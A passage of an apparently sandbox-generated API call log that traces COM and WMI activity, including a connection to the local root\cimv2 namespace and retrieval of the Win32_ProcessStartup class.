Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbc0ae0) returned 0x0 [0133.290] WbemDefPath:IUnknown:AddRef (This=0x1bbc0ae0) returned 0x3 [0133.290] WbemDefPath:IUnknown:Release (This=0x1bbc0ae0) returned 0x2 [0133.290] WbemDefPath:IWbemPath:SetText (This=0x1bbc0ae0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ae0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ae0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ae0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0ae0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ae0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbc0ae0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ae0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0133.290] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0133.291] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.291] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0133.291] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0133.291] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0133.291] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.293] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc0ece0) returned 0x0 [0133.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ece0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0133.293] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ece0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bbc0ba0) returned 0x0 [0133.293] WbemDefPath:IUnknown:Release (This=0x1bc0ece0) returned 0x0 [0133.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bbc0ba0) returned 0x0 [0133.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0133.295] WbemDefPath:IUnknown:AddRef (This=0x1bbc0ba0) returned 0x3 [0133.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0133.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0133.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc0ed20) returned 0x0 [0133.295] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0ed20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.295] WbemDefPath:IUnknown:Release (This=0x1bc0ed20) returned 0x3 [0133.295] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0133.295] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0133.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0133.296] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x2 [0133.296] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x1 [0133.296] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0133.296] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0133.296] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bbc0ba0) returned 0x0 [0133.296] WbemDefPath:IUnknown:AddRef (This=0x1bbc0ba0) returned 0x3 [0133.296] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x2 [0133.296] WbemDefPath:IWbemPath:SetText (This=0x1bbc0ba0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0133.296] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ba0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.296] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ba0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0133.296] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ba0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.296] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0133.296] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0133.296] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0133.296] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.297] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc0ee20) returned 0x0 [0133.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0ee20, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0133.298] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc0ee20, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc0ee40) returned 0x0 [0133.298] WbemLocator:IUnknown:Release (This=0x1bc0ee20) returned 0x0 [0133.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0ee40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc0ee40) returned 0x0 [0133.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0ee40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0133.298] WbemLocator:IUnknown:AddRef (This=0x1bc0ee40) returned 0x3 [0133.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0ee40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0133.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0ee40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0133.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0ee40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0133.298] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0133.298] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0133.298] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0ee40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0133.299] WbemLocator:IUnknown:Release (This=0x1bc0ee40) returned 0x2 [0133.299] WbemLocator:IUnknown:Release (This=0x1bc0ee40) returned 0x1 [0133.299] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0133.299] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0133.299] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0ee40, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc0ee40) returned 0x0 [0133.299] WbemLocator:IUnknown:AddRef (This=0x1bc0ee40) returned 0x3 [0133.299] WbemLocator:IUnknown:Release (This=0x1bc0ee40) returned 0x2 [0133.299] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0ba0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.299] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ba0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0133.299] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ba0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.299] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc0ee60) returned 0x0 [0133.299] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc0ee60, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc0b180) returned 0x0 [0133.542] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b180, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa039a0) returned 0x0 [0133.543] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa039a0, pProxy=0x1bc0b180, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0133.543] WbemLocator:IUnknown:Release (This=0x1aa039a0) returned 0x1 [0133.543] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b180, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa039e0) returned 0x0 [0133.543] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b180, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa039a0) returned 0x0 [0133.543] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa039a0, pProxy=0x1bc0b180, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0133.543] WbemLocator:IUnknown:Release (This=0x1aa039a0) returned 0x2 [0133.543] WbemLocator:IUnknown:Release (This=0x1aa039e0) returned 0x1 [0133.543] CoTaskMemFree (pv=0x1bbc6c80) [0133.544] WbemLocator:IUnknown:AddRef (This=0x1bc0b180) returned 0x2 [0133.544] WbemLocator:IUnknown:Release (This=0x1bc0ee60) returned 0x0 [0133.544] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0133.544] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0133.544] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b180, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa039b0) returned 0x0 [0133.545] WbemLocator:IRpcOptions:Query (in: This=0x1aa039b0, pPrx=0x1bc0eec0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0133.545] WbemLocator:IUnknown:Release (This=0x1aa039b0) returned 0x2 [0133.545] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0133.545] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0133.545] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b180, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc0b180) returned 0x0 [0133.545] WbemLocator:IUnknown:Release (This=0x1bc0b180) returned 0x2 [0133.545] SysStringLen (param_1=0x0) returned 0x0 [0133.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ae0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0133.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0ae0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0133.546] IWbemServices:GetObject (in: This=0x1bc0b180, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbd6650, ppCallResult=0x0) returned 0x0 [0133.547] IWbemClassObject:Get (in: This=0x1bbd6650, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0133.548] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0133.548] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0133.548] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0133.548] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0133.548] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0133.548] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.551] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc0ee60) returned 0x0 [0133.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0ee60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0133.551] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0ee60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc1a320) returned 0x0 [0133.551] WbemDefPath:IUnknown:Release (This=0x1bc0ee60) returned 0x0 [0133.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a320, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc1a320) returned 0x0 [0133.551] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a320, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0133.552] WbemDefPath:IUnknown:AddRef (This=0x1bc1a320) returned 0x3 [0133.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a320, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0133.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a320, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0133.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a320, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc0ee80) returned 0x0 [0133.552] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0ee80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.552] WbemDefPath:IUnknown:Release (This=0x1bc0ee80) returned 0x3 [0133.552] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0133.552] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0133.552] 